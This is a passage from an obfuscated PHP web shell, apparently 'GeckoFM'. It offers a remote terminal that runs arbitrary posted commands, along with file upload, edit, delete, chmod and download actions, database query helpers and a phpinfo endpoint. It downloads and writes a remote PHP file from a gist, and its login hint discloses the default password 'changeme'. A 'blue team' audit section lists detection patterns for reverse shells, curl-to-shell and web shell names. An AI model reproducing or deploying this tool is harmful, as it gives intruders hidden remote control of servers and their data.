            $shown++;
            if ($shown >= 25) break;
        }
        if ($shown === 0) {
            $lines[] = '(no suspicious scheduled tasks matched — run schtasks /query for full list)';
        }
        $lines[] = '';
        $lines[] = '--- [3] STARTUP / RUN REGISTRY ---';
        $runKeys = _g6a69901('reg query "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" 2>nul & reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" 2>nul', $baseDir);
        $regLines = _g43eadd6(explode("\n", $runKeys['output']), $patterns, $warnCount);
        $lines = array_merge($lines, empty($regLines) ? array('(no Run keys or not accessible)') : $regLines);
        $lines[] = '';
        $startup = _g6a69901('dir /b "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" 2>nul', $baseDir);
        if (trim($startup['output']) !== '') {
            $lines[] = '--- [4] USER STARTUP FOLDER ---';
            $lines[] = trim($startup['output']);
            $lines[] = '';
        }
    } else {
        $lines[] = '--- [2] SYSTEM CRON (/etc/cron*) ---';
        $etc = _g6a69901('grep -rHn . /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null | head -60', $baseDir);
        $etcLines = _g43eadd6(explode("\n", $etc['output']), $patterns, $warnCount);
        $lines = array_merge($lines, empty($etcLines) ? array('(not accessible or empty)') : $etcLines);
        $lines[] = '';
        $lines[] = '--- [3] SYSTEMD TIMERS & SERVICES ---';
        $timers = _g6a69901('systemctl list-timers --all --no-pager 2>/dev/null | head -25', $baseDir);
        $lines[] = trim($timers['output']) ?: '(systemctl not available)';
        $svc = _g6a69901('systemctl list-unit-files --type=service --state=enabled --no-pager 2>/dev/null | grep -iE "shell|backdoor|curl|wget|nc|python|perl|tmp|reverse" | head -20', $baseDir);
        if (trim($svc['output']) !== '') {
            $lines[] = '';
            $lines[] = 'Suspicious enabled services:';
            $svcLines = _g43eadd6(explode("\n", $svc['output']), $patterns, $warnCount);
            $lines = array_merge($lines, $svcLines);
        }
        $lines[] = '';
        $lines[] = '--- [4] LD.SO PRELOAD ---';
        $preload = _g6a69901('cat /etc/ld.so.preload 2>/dev/null; ls -la /etc/ld.so.preload 2>/dev/null', $baseDir);
        if (trim($preload['output']) === '') {
            $lines[] = '(empty or not present)';
        } else {
            $pl = _g43eadd6(explode("\n", $preload['output']), $patterns, $warnCount);
            $lines = array_merge($lines, $pl);
        }
        $lines[] = '';
    }

    // SSH authorized_keys
    $lines[] = '--- [' . ($isWin ? '5' : '5') . '] SSH AUTHORIZED_KEYS ---';
    if (!$isWin) {
        $auth = _g6a69901('find /root /home -maxdepth 4 -path "*/.ssh/authorized_keys" -type f 2>/dev/null | head -20', $baseDir);
        $authFiles = array_filter(array_map('trim', explode("\n", $auth['output'])));
        if (empty($authFiles)) {
            $lines[] = '(no authorized_keys found or not accessible)';
        } else {
            foreach ($authFiles as $ak) {
                $content = _gf555fea($ak, 16384);
                if ($content === false || $content === '') continue;
                $bad = false;
                foreach (explode("\n", $content) as $ln) {
                    $ln = trim($ln);
                    if ($ln === '' || $ln[0] === '#') continue;
                    if (_gf488e52($ln, $patterns) || stripos($ln, 'command=') !== false) {
                        $bad = true;
                        $warnCount++;
                        $lines[] = '[WARN] ' . $ak . ' → ' . $ln;
                    }
                }
                if (!$bad) $lines[] = '[OK]   ' . $ak;
            }
        }
    } else {
        $lines[] = '(SSH keys audit — Linux/server focused)';
    }
    $lines[] = '';

    // Shell profiles
    $profileNames = array('.bashrc', '.bash_profile', '.profile', '.zshrc', '.zprofile');
    $profileRoots = array('/root', '/home');
    if (!$isWin) {
        foreach ($profileRoots as $pr) {
            if (@_gfid($pr)) $roots[] = $pr;
        }
    }
    $roots = array_values(array_unique($roots));
    $lines = array_merge($lines, _g4c07ef0(
        $roots, $baseDir, $patterns, $warnCount,
        $profileNames, '[6] SHELL PROFILES (.bashrc / .profile)', 5, 40
    ));

    // Web persistence: .htaccess & .user.ini
    $webRoots = _g704c91d($baseDir, $scanPath);
    $lines = array_merge($lines, _g4c07ef0(
        $webRoots, $baseDir, $patterns, $warnCount,
        array('.htaccess', '.user.ini'), '[7] WEB PERSISTENCE (.htaccess / .user.ini)', 9, 60
    ));

    // PHP auto_prepend in loaded ini
    $lines[] = '--- [8] PHP AUTO_* DIRECTIVES ---';
    $prepend = @ini_get('auto_prepend_file');
    $append = @ini_get('auto_append_file');
    $lines[] = 'auto_prepend_file = ' . ($prepend ? $prepend : '(none)');
    $lines[] = 'auto_append_file = ' . ($append ? $append : '(none)');
    if ($prepend && _gf488e52($prepend, $patterns)) {
        $warnCount++;
        $lines[] = '[WARN] Suspicious auto_prepend_file path';
    }
    if ($append && _gf488e52($append, $patterns)) {
        $warnCount++;
        $lines[] = '[WARN] Suspicious auto_append_file path';
    }
    $lines[] = '';

    // Summary
    $lines[] = str_repeat('=', 50);
    $lines[] = 'SUMMARY: ' . $warnCount . ' warning(s) — review [WARN] lines above';
    if ($warnCount === 0) {
        $lines[] = 'No obvious persistence indicators matched (manual review still recommended).';
    }

    return array(
        'ok' => true,
        'output' => implode("\n", $lines),
        'count' => $warnCount,
        'critical' => $warnCount > 0 ? min($warnCount, 99) : 0,
    );
}

function _g1761822($baseDir)
{
    $cron = _gf14588c();
    $lines = array('=== CRON PERSISTENCE AUDIT ===', 'Platform: ' . $cron['platform'], '');
    $suspicious = array(
        '/\bcurl\b.*\|\s*(ba)?sh/is', '/\bwget\b.*\|\s*(ba)?sh/is',
        '/\/dev\/tcp\//is', '/\bbash\s+-i/is', '/\bnc\s+-/is',
        '/base64\s+-d/is', '/\beval\b/is', '/\bpython\s+-c/is',
        '/\bperl\s+-e/is', '/\b\/tmp\//is', '/\bchmod\s+\+x/is',
        '/gsocket/is', '/\breverse\b/is', '/\bbackdoor\b/is',
    );
    $content = $cron['content'];
    if (trim($content) === '') {
        $lines[] = '(empty crontab)';
    } else {
        $ln = 0;
        foreach (explode("\n", $content) as $line) {
            $line = trim($line);
            if ($line === '' || $line[0] === '#') continue;
            $ln++;
            $flags = array();
            foreach ($suspicious as $pat) {
                if (preg_match($pat, $line)) $flags[] = 'SUSPICIOUS';
            }
            $prefix = empty($flags) ? '[OK]   ' : '[WARN] ';
            $lines[] = $prefix . $line;
        }
        if ($ln === 0) $lines[] = '(no active cron entries)';
    }
    $isWin = _gde2b43a();
    if (!$isWin) {
        $etc = _g6a69901('ls -la /etc/cron* 2>/dev/null; grep -rH . /etc/cron.d/ /etc/cron.daily/ 2>/dev/null | head -30', $baseDir);
        $lines[] = '';
        $lines[] = '=== /etc/cron* (sample) ===';
        $lines[] = trim($etc['output']);
    }
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function _g110ec00($baseDir)
{
    $isWin = _gde2b43a();
    $lines = array('=== AUTH / SECURITY LOG AUDIT ===', '');
    if ($isWin) {
        $out = _g6a69901('wevtutil qe Security /c:20 /rd:true /f:text 2>nul', $baseDir);
        $lines[] = trim($out['output']) ?: '(Windows event query unavailable)';
    } else {
        $cmds = array(
            'Failed SSH/auth (last 40)' => 'grep -iE "Failed password|Invalid user|authentication failure|refused connect" /var/log/auth.log /var/log/secure 2>/dev/null | tail -40',
            'sudo usage (last 20)' => 'grep -i sudo /var/log/auth.log /var/log/secure 2>/dev/null | tail -20',
            'Web server errors (last 20)' => 'grep -iE "eval|base64|shell|cmd=|/etc/passwd" /var/log/apache2/error.log /var/log/httpd/error_log /var/log/nginx/error.log 2>/dev/null | tail -20',
        );
        foreach ($cmds as $label => $cmd) {
            $out = _g6a69901($cmd, $baseDir);
            $lines[] = '--- ' . $label . ' ---';
            $lines[] = trim($out['output']) ?: '(no entries or log not accessible)';
            $lines[] = '';
        }
    }
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function _g66f8ef5($baseDir, $scanPath)
{
    $roots = _g704c91d($baseDir, $scanPath);
    $iocs = array('c99','r57','wso','b374k','shell','backdoor','cmd','uploader','alfa','indoxploit','mini','hack','exploit','webshell','c100','r00t','anonymous','leaf','marijuana','fox','upl');
    $isWin = _gde2b43a();
    $lines = array('=== IOC FILENAME HUNT ===', '');
    $found = 0;
    foreach ($roots as $root) {
        if (!$isWin) {
            $nameExpr = array();
            foreach ($iocs as $ioc) {
                $nameExpr[] = '-iname ' . _gb6799bc('*' . $ioc . '*.php');
                $nameExpr[] = '-iname ' . _gb6799bc('*' . $ioc . '*.phtml');
            }
            $cmd = 'find ' . _gb6799bc($root) . ' -maxdepth 8 \( ' . implode(' -o ', $nameExpr) . ' \) -type f 2>/dev/null | head -40';
            $out = _g6a69901($cmd, $baseDir);
            if (trim($out['output']) !== '') {
                $lines[] = '--- ' . $root . ' ---';
                $lines[] = trim($out['output']);
                $found += substr_count($out['output'], "\n") + 1;
                $lines[] = '';
            }
        }
    }
    if ($found === 0) $lines[] = '(no IOC filename matches)';
    return array('ok' => true, 'output' => implode("\n", $lines), 'count' => $found);
}

function _gae1473b($baseDir)
{
    $isWin = _gde2b43a();
    if ($isWin) {
        $out = _g6a69901('tasklist /V', $baseDir);
    } else {
        $out = _g6a69901('ps auxww 2>/dev/null | grep -iE "nc |/dev/tcp|python -c|perl -e|bash -i|gsocket|cryptominer|xmrig|masscan|sqlmap" | grep -v grep', $baseDir);
        if (trim($out['output']) === '') {
            $out['output'] = "(no suspicious process patterns matched)\n\nFull process list (top 30):\n" . _g6a69901('ps auxww 2>/dev/null | head -30', $baseDir)['output'];
        }
    }
    return array('ok' => true, 'output' => "=== SUSPICIOUS PROCESS SCAN ===\n\n" . $out['output']);
}

function _g3bc8241($baseDir, $scanPath)
{
    @set_time_limit(600);
    $parts = array();
    $r1 = _g56061e0($baseDir, $scanPath, true);
    $parts[] = $r1['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = _gfbe22d1($baseDir, $scanPath, 7)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = _gba39302($baseDir, $scanPath)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = _g55f2a62($baseDir, $scanPath)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = _g1761822($baseDir)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = _g66f8ef5($baseDir, $scanPath)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = _gae1473b($baseDir)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = _g110ec00($baseDir)['output'];
    return array(
        'ok' => true,
        'output' => implode("\n\n", $parts),
        'count' => isset($r1['count']) ? $r1['count'] : 0,
        'critical' => isset($r1['critical']) ? $r1['critical'] : 0,
    );
}

function _gb382921($tool, $input, $baseDir)
{
    $tool = strtolower(trim((string)$tool));
    $scanPath = (string)_gc9f029d($input, 'path', '');
    $days = (int)_gc9f029d($input, 'days', 7);
    switch ($tool) {
        case 'backdoor':
            $aggressive = _gc9f029d($input, 'aggressive', true);
            return _g56061e0($baseDir, $scanPath, $aggressive);
        case 'delete_threats':
            $paths = _gc9f029d($input, 'paths', array());
            if (is_string($paths)) {
                $decoded = json_decode($paths, true);
                $paths = is_array($decoded) ? $decoded : array($paths);
            }
            return _g2c1f182($baseDir, $paths);
        case 'quarantine_list':
            return _g648d971($baseDir);
        case 'restore_threats':
            $ids = _gc9f029d($input, 'ids', array());
            if (is_string($ids)) {
                $decoded = json_decode($ids, true);
                $ids = is_array($decoded) ? $decoded : array($ids);
            }
            return _g9644d4f($baseDir, $ids);
        case 'fullaudit':
            return _g3bc8241($baseDir, $scanPath);
        case 'recent':
            return _gfbe22d1($baseDir, $scanPath, $days);
        case 'writable':
            return _gba39302($baseDir, $scanPath);
        case 'hidden':
            return _g55f2a62($baseDir, $scanPath);
        case 'cron':
            return _g1761822($baseDir);
        case 'persistence':
            return _g920ae25($baseDir, $scanPath);
        case 'logs':
            return _g110ec00($baseDir);
        case 'ioc':
            return _g66f8ef5($baseDir, $scanPath);
        case 'process':
            return _gae1473b($baseDir);
        default:
            return array('ok' => false, 'error' => 'Unknown blue team tool');
    }
}

function _gf990a46($type, $host, $port, $user, $pass, $db)
{
    $type = strtolower(trim((string)$type));
    $host = trim((string)$host);
    $user = (string)$user;
    $pass = (string)$pass;
    $db = trim((string)$db);
    $port = (int)$port;
    if (!class_exists('PDO')) {
        return array('ok' => false, 'error' => 'PDO extension not available');
    }
    try {
        if ($type === 'sqlite') {
            if ($db === '') {
                return array('ok' => false, 'error' => 'Database file path required');
            }
            $pdo = new PDO('sqlite:' . $db);
        } elseif ($type === 'mysql') {
            if ($host === '') $host = '127.0.0.1';
            if ($port <= 0) $port = 3306;
            $dsn = 'mysql:host=' . $host . ';port=' . $port . ';dbname=' . $db . ';charset=utf8mb4';
            $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
        } elseif ($type === 'pgsql') {
            if ($host === '') $host = '127.0.0.1';
            if ($port <= 0) $port = 5432;
            $dsn = 'pgsql:host=' . $host . ';port=' . $port . ';dbname=' . $db;
            $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
        } else {
            return array('ok' => false, 'error' => 'Unsupported DB type');
        }
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return array('ok' => true, 'pdo' => $pdo);
    } catch (Exception $e) {
        return array('ok' => false, 'error' => $e->getMessage());
    }
}

function _g8d035b0($type, $host, $port, $user, $pass, $db, $sql)
{
    $sql = trim((string)$sql);
    if ($sql === '') {
        return array('ok' => false, 'error' => 'Empty query');
    }
    $conn = _gf990a46($type, $host, $port, $user, $pass, $db);
    if (!$conn['ok']) return $conn;
    /** @var PDO $pdo */
    $pdo = $conn['pdo'];
    try {
        $stmt = $pdo->query($sql);
        if ($stmt === false) {
            return array('ok' => true, 'type' => 'exec', 'affected' => $pdo->lastInsertId(), 'message' => 'Query executed');
        }
        $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
        $cols = array();
        if (!empty($rows)) {
            $cols = array_keys($rows[0]);
        } else {
            $cols = _g_pdo_select_columns($stmt, $rows);
        }
        return array('ok' => true, 'type' => 'select', 'columns' => $cols, 'rows' => $rows, 'count' => count($rows));
    } catch (Exception $e) {
        return array('ok' => false, 'error' => $e->getMessage());
    }
}

function _g4c9dd4c($type, $host, $port, $user, $pass, $db)
{
    $conn = _gf990a46($type, $host, $port, $user, $pass, $db);
    if (!$conn['ok']) return $conn;
    /** @var PDO $pdo */
    $pdo = $conn['pdo'];
    $type = strtolower(trim((string)$type));
    try {
        if ($type === 'mysql') {
            $stmt = $pdo->query('SHOW TABLES');
        } elseif ($type === 'pgsql') {
            $stmt = $pdo->query("SELECT tablename FROM pg_tables WHERE schemaname='public' ORDER BY tablename");
        } elseif ($type === 'sqlite') {
            $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name");
        } else {
            return array('ok' => false, 'error' => 'Unsupported DB type');
        }
        $tables = array();
        while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
            $tables[] = $row[0];
        }
        return array('ok' => true, 'tables' => $tables);
    } catch (Exception $e) {
        return array('ok' => false, 'error' => $e->getMessage());
    }
}

// ───── Auth gate (login / logout / require session) ───────────────
if (GECKO_AUTH_ENABLED) {
    if (!function_exists('password_verify')) {
        http_response_code(500);
        exit('password_verify() unavailable — PHP 5.5+ required for bcrypt auth.');
    }
    _g33cbe83();

    // Form login dari halaman unlock
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['gecko_login_pass'])) {
        $loginResult = _gb5e2ca4($_POST['gecko_login_pass']);
        if (!empty($loginResult['ok'])) {
            $redir = isset($_SERVER['REQUEST_URI']) ? strtok($_SERVER['REQUEST_URI'], '?') : '';
            if ($redir === '' || $redir === false) $redir = basename(__FILE__);
            header('Location: ' . $redir);
            exit;
        }
        _g296ce19(isset($loginResult['error']) ? $loginResult['error'] : 'Invalid password');
        exit;
    }

    // API login / logout / status (tanpa session penuh)
    if (isset($_GET['api'])) {
        $inputEarly = _g2047959();
        $actionEarly = (string)_gc9f029d($inputEarly, 'action', _gc9f029d($_GET, 'action', ''));

        if ($actionEarly === 'login') {
            $loginResult = _gb5e2ca4((string)_gc9f029d($inputEarly, 'password', ''));
            if (!empty($loginResult['ok'])) {
                _g49326eb(array('ok' => true, 'message' => 'Authenticated'));
            }
            _g49326eb(array('ok' => false, 'error' => isset($loginResult['error']) ? $loginResult['error'] : 'Invalid password'), 401);
        }
        if ($actionEarly === 'logout') {
            _gd877120();
            _g49326eb(array('ok' => true, 'message' => 'Logged out'));
        }
        if ($actionEarly === 'auth_check') {
            $sessOk = _g33cbe83();
            _g49326eb(array(
                'ok' => true,
                'authenticated' => _gb9014f6(),
                'session_active' => $sessOk,
            ));
        }
    }

    if (!_gb9014f6()) {
        if (isset($_GET['api'])) {
            $sessOk = function_exists('session_status')
                ? (session_status() === PHP_SESSION_ACTIVE)
                : (session_id() !== '');
            _g49326eb(array(
                'ok' => false,
                'error' => 'Unauthorized',
                'auth_required' => true,
                'session_active' => $sessOk,
                'hint' => $sessOk
                    ? 'Session OK but not logged in — use password changeme or form login.'
                    : 'PHP session failed to start — check session.save_path permissions on this server.',
            ), 401);
        }
        _g296ce19();
        exit;
    }
}

// Handle download requests
if (isset($_GET['download'])) {
    $path = _g51c64cf($baseDir, (string)$_GET['download']);
    if (!$path || _gfid($path)) { http_response_code(404); exit('Not found'); }
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($path) . '"');
    header('Content-Length: ' . _gfsz($path));
    _gfrf($path); exit;
}

// Handle inline view requests (image preview, raw text view)
if (isset($_GET['view'])) {
    $path = _g51c64cf($baseDir, (string)$_GET['view']);
    if (!$path || _gfid($path)) { http_response_code(404); exit('Not found'); }

    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $mimes = array(
        'png'  => 'image/png',
        'jpg'  => 'image/jpeg',
        'jpeg' => 'image/jpeg',
        'gif'  => 'image/gif',
        'webp' => 'image/webp',
        'svg'  => 'image/svg+xml',
        'ico'  => 'image/x-icon',
        'bmp'  => 'image/bmp',
        'avif' => 'image/avif',
        'pdf'  => 'application/pdf',
    );
    $mime = isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream';

    header('Content-Type: ' . $mime);
    header('Content-Length: ' . _gfsz($path));
    header('X-Content-Type-Options: nosniff');
    header('Content-Disposition: inline; filename="' . basename($path) . '"');
    header('Cache-Control: private, max-age=300');
    _gfrf($path);
    exit;
}

// MySQL Manager — unduh mysql_manager.php dari gist jika belum ada
define('GECKO_MYSQL_MANAGER_GIST', 'https://gist.githubusercontent.com/MadExploits/19cd0cb06ee62dde7e6ea10f107a2a9e/raw/aa8d3bc2ddcb569beddb99236b2b0cf2907f5188/mysql_manager.php');

function _g_mysql_manager_path()
{
    return __DIR__ . DIRECTORY_SEPARATOR . 'mysql_manager.php';
}

function _g_mysql_manager_ensure($force = false)
{
    $path = _g_mysql_manager_path();
    $rel = 'mysql_manager.php';
    if (!$force && _gfif($path) && (int)@_gfsz($path) > 2000 && strpos((string)_g_file_get_excerpt($path, 0, 400), 'mm_json') !== false) {
        return array(
            'ok' => true,
            'path' => $rel,
            'url' => $rel,
            'cached' => true,
        );
    }
    $ctx = stream_context_create(array(
        'http' => array(
            'timeout' => 45,
            'user_agent' => 'GeckoFM-MySQLManager/1.0',
            'follow_location' => 1,
        ),
        'ssl' => array(
            'verify_peer' => true,
            'verify_peer_name' => true,
        ),
    ));
    $data = @_gfgc(GECKO_MYSQL_MANAGER_GIST, false, $ctx);
    if (!$data || strlen($data) < 800 || strpos($data, 'mm_json') === false) {
        if (_gfif($path) && (int)@_gfsz($path) > 800) {
            return array(
                'ok' => true,
                'path' => $rel,
                'url' => $rel,
                'cached' => true,
                'warning' => 'Unduh gist gagal — memakai salinan lokal.',
            );
        }
        return array('ok' => false, 'error' => 'Gagal mengunduh mysql_manager.php dari gist.');
    }
    if (@_gfpc($path, $data) === false) {
        return array('ok' => false, 'error' => 'Gagal menulis mysql_manager.php (cek permission folder).');
    }
    return array(
        'ok' => true,
        'path' => $rel,
        'url' => $rel,
        'downloaded' => true,
    );
}

if (isset($_GET['adminer']) || isset($_GET['mysql_manager'])) {
    _g_mysql_manager_ensure(false);
    header('Location: mysql_manager.php', true, 302);
    exit;
}

if (isset($_GET['phpinfo'])) {
    phpinfo();
    exit;
}

// Handle API requests
if (isset($_GET['api'])) {
    $input = _g2047959();

    $action = (string)_gc9f029d($input, 'action', _gc9f029d($_GET, 'action', 'list'));

    switch ($action) {
        case 'list':
            $rel = _g67988fc((string)_gc9f029d($input, 'path', ''));
            $dir = ($rel === '') ? $baseDir : _g51c64cf($baseDir, $rel);

            if (!$dir || !_gfid($dir)) {
                _g49326eb(array('ok' => false, 'error' => 'Invalid directory: ' . $rel), 403);
            }

            _g49326eb(array(
                'ok' => true,
                'path' => $rel,
                'entries' => _g2439921($dir),
                'disk' => array(
                    'free' => @disk_free_space($dir),
                    'total' => @disk_total_space($dir),
                ),
            ));
            break;

        case 'read':
            $path = _g51c64cf($baseDir, (string)_gc9f029d($input, 'path', ''));
            if (!$path || _gfid($path)) _g49326eb(array('ok' => false, 'error' => 'File not found'), 404);
            $editable = _g0fe34a3($path);
            $sz = _gfsz($path);
            if (!$editable && (int)($sz ? $sz : 0) > 512000) _g49326eb(array('ok' => false, 'error' => 'File too large or binary'), 400);
            _g49326eb(array(
                'ok' => true,
                'content' => _gfgc($path),
                'editable' => $editable,
                'size' => $sz,
                'modified' => _gfmt($path),
            ));
            break;

        case 'save':
            $path = _g51c64cf($baseDir, (string)_gc9f029d($input, 'path', ''));
            if (!$path || _gfid($path)) _g49326eb(array('ok' => false, 'error' => 'File not found'), 404);
            if (_gfpc($path, (string)_gc9f029d($input, 'content', '')) === false) _g49326eb(array('ok' => false, 'error' => 'Write failed'), 500);
            _g49326eb(array('ok' => true, 'modified' => _gfmt($path)));
            break;

        case 'mkdir':
            $rel = _g67988fc((string)_gc9f029d($input, 'path', ''));
            $name = basename(str_replace('\\', '/', (string)_gc9f029d($input, 'name', '')));
            if ($name === '' || preg_match('/[<>:"|?*\\\\\/]/', $name)) _g49326eb(array('ok' => false, 'error' => 'Invalid name'), 400);
            $parent = _g51c64cf($baseDir, $rel);
            if (!$parent || !_gfid($parent)) _g49326eb(array('ok' => false, 'error' => 'Invalid directory'), 403);
            $new = $parent . DIRECTORY_SEPARATOR . $name;
            if (_gfex($new)) _g49326eb(array('ok' => false, 'error' => 'Already exists'), 409);
            if (!@_gfmd($new, 0755)) _g49326eb(array('ok' => false, 'error' => 'Create failed'), 500);
            _g49326eb(array('ok' => true));
            break;

        case 'create_file':
            $rel = _g67988fc((string)_gc9f029d($input, 'path', ''));
            $name = basename(str_replace('\\', '/', (string)_gc9f029d($input, 'name', '')));
            if ($name === '' || preg_match('/[<>:"|?*\\\\\/]/', $name)) _g49326eb(array('ok' => false, 'error' => 'Invalid name'), 400);
            $parent = _g51c64cf($baseDir, $rel);
            if (!$parent || !_gfid($parent)) _g49326eb(array('ok' => false, 'error' => 'Invalid directory'), 403);
            $new = $parent . DIRECTORY_SEPARATOR . $name;
            if (_gfex($new)) _g49326eb(array('ok' => false, 'error' => 'Already exists'), 409);
            if (_gfpc($new, (string)_gc9f029d($input, 'content', '')) === false) _g49326eb(array('ok' => false, 'error' => 'Create failed'), 500);
            _g49326eb(array('ok' => true));
            break;

        case 'delete':
            $path = _g51c64cf($baseDir, (string)_gc9f029d($input, 'path', ''));
            if (!$path || $path === $baseDir) _g49326eb(array('ok' => false, 'error' => 'Cannot delete'), 403);
            if (_g34a00ab($path, $baseDir)) _g49326eb(array('ok' => false, 'error' => 'Protected path'), 403);
            if (_gfid($path) && _g27c4234($path, $baseDir)) {
                _g49326eb(array('ok' => false, 'error' => 'Folder contains protected files'), 403);
            }
            $ok = _gfid($path) ? _g449f0b5($path) : @_gfun($path);
            if (!$ok) _g49326eb(array('ok' => false, 'error' => 'Delete failed'), 500);
            _g49326eb(array('ok' => true));
            break;

        case 'rename':
            $path = _g51c64cf($baseDir, (string)_gc9f029d($input, 'path', ''));
            $newName = basename(str_replace('\\', '/', (string)_gc9f029d($input, 'new_name', '')));
            if (!$path || $newName === '' || preg_match('/[<>:"|?*\\\\\/]/', $newName)) _g49326eb(array('ok' => false, 'error' => 'Invalid request'), 400);
            $dest = dirname($path) . DIRECTORY_SEPARATOR . $newName;
            if (_gfex($dest)) _g49326eb(array('ok' => false, 'error' => 'Name taken'), 409);
            if (!@_gfrn($path, $dest)) _g49326eb(array('ok' => false, 'error' => 'Rename failed'), 500);
            _g49326eb(array('ok' => true, 'new_path' => ltrim(str_replace('\\', '/', substr($dest, strlen($baseDir))), '/')));
            break;

        case 'chmod':
            $path = _g51c64cf($baseDir, (string)_gc9f029d($input, 'path', ''));
            if (!$path) _g49326eb(array('ok' => false, 'error' => 'File not found'), 404);
            $permString = (string)_gc9f029d($input, 'perm', '');
            if (!preg_match('/^[0-7]{3,4}$/', $permString)) {
                _g49326eb(array('ok' => false, 'error' => 'Invalid permission format. Use octal (e.g., 755 or 0644)'), 400);
            }
            $octalPerm = octdec($permString);
            if (!@_gfch($path, (int)$octalPerm)) {
                _g49326eb(array('ok' => false, 'error' => 'Failed to change permissions'), 500);
            }
            clearstatcache(true, $path);
            $newPerm = substr(sprintf('%o', fileperms($path)), -4);
            _g49326eb(array('ok' => true, 'perm' => $newPerm));
            break;

        case 'copy':
            $paths = _gc5a1f21($input);
            if (empty($paths)) _g49326eb(array('ok' => false, 'error' => 'No items selected'), 400);
            $dest = _g67988fc((string)_gc9f029d($input, 'dest', ''));
            $result = _g654a6a9($baseDir, $paths, $dest);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'move':
            $paths = _gc5a1f21($input);
            if (empty($paths)) _g49326eb(array('ok' => false, 'error' => 'No items selected'), 400);
            $dest = _g67988fc((string)_gc9f029d($input, 'dest', ''));
            $result = _g5884064($baseDir, $paths, $dest);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'zip':
            $paths = _gc5a1f21($input);
            if (empty($paths)) _g49326eb(array('ok' => false, 'error' => 'No items selected'), 400);
            $dest = _g67988fc((string)_gc9f029d($input, 'dest', (string)_gc9f029d($input, 'path', '')));
            $name = (string)_gc9f029d($input, 'name', '');
            $result = _g32e218b($baseDir, $paths, $dest, $name);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'unzip':
            $zipPath = _g67988fc((string)_gc9f029d($input, 'path', ''));
            $dest = _g67988fc((string)_gc9f029d($input, 'dest', ''));
            $result = _g53dbd64($baseDir, $zipPath, $dest);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'upload':
            $rel = _g67988fc((string)_gc9f029d($_POST, 'path', ''));
            $parent = _g51c64cf($baseDir, $rel);

            if (!$parent || !_gfid($parent)) {
                _g49326eb(array('ok' => false, 'error' => 'Invalid directory: ' . $rel), 403);
            }

            if (empty($_FILES['file'])) {
                _g49326eb(array('ok' => false, 'error' => 'No file uploaded'), 400);
            }

            $f = $_FILES['file'];
            if ($f['error'] !== UPLOAD_ERR_OK) {
                $errors = array(
                    UPLOAD_ERR_INI_SIZE   => 'File too large (server limit: ' . ini_get('upload_max_filesize') . ')',
                    UPLOAD_ERR_FORM_SIZE  => 'File too large (form limit)',
                    UPLOAD_ERR_PARTIAL    => 'File only partially uploaded',
                    UPLOAD_ERR_NO_FILE    => 'No file uploaded',
                    UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
                    UPLOAD_ERR_CANT_WRITE => 'Failed to write file',
                    UPLOAD_ERR_EXTENSION  => 'Upload blocked by extension',
                );
                $errorMsg = isset($errors[$f['error']]) ? $errors[$f['error']] : ('Unknown upload error (code: ' . $f['error'] . ')');
                _g49326eb(array('ok' => false, 'error' => $errorMsg), 400);
            }

            $name = basename($f['name']);
            $name = preg_replace('/[<>:"|?*\\\\\/]/', '', $name);
            $name = trim($name);

            if ($name === '') {
                _g49326eb(array('ok' => false, 'error' => 'Invalid filename'), 400);
            }

            $dest = $parent . DIRECTORY_SEPARATOR . $name;
            if (_gfex($dest)) {
                $info = pathinfo($name);
                $filename = isset($info['filename']) ? $info['filename'] : $name;
                $extension = isset($info['extension']) ? $info['extension'] : '';
                $name = $filename . '_' . time() . ($extension !== '' ? '.' . $extension : '');
                $dest = $parent . DIRECTORY_SEPARATOR . $name;
            }

            if (!_gfmu($f['tmp_name'], $dest)) {
                _g49326eb(array('ok' => false, 'error' => 'Failed to save file. Check folder permissions.'), 500);
            }

            @_gfch($dest, 0644);
            _g49326eb(array('ok' => true, 'name' => $name, 'message' => 'Upload successful'));
            break;

        case 'search':
            $query = trim((string)_gc9f029d($input, 'query', ''));
            if ($query === '') _g49326eb(array('ok' => true, 'results' => array()));
            $results = array(); $count = 0;
            _gbd22fd8($baseDir, _g67988fc((string)_gc9f029d($input, 'path', '')), $query, $results, $count);
            _g49326eb(array('ok' => true, 'results' => $results));
            break;

        case 'terminal':
            $rel = _g67988fc((string)_gc9f029d($input, 'path', ''));
            $cwd = _g51c64cf($baseDir, $rel);
            if (!$cwd || !_gfid($cwd)) _g49326eb(array('ok' => false, 'error' => 'Invalid cwd'), 403);
            $command = trim((string)_gc9f029d($input, 'command', ''));
            if ($command === '') _g49326eb(array('ok' => false, 'error' => 'Empty command'), 400);
            try {
                $result = _g6a69901($command, $cwd, 120, true);
            } catch (Exception $ex) {
                _g49326eb(array(
                    'ok' => false,
                    'error' => 'Terminal exception: ' . $ex->getMessage(),
                    'output' => 'Terminal exception: ' . $ex->getMessage(),
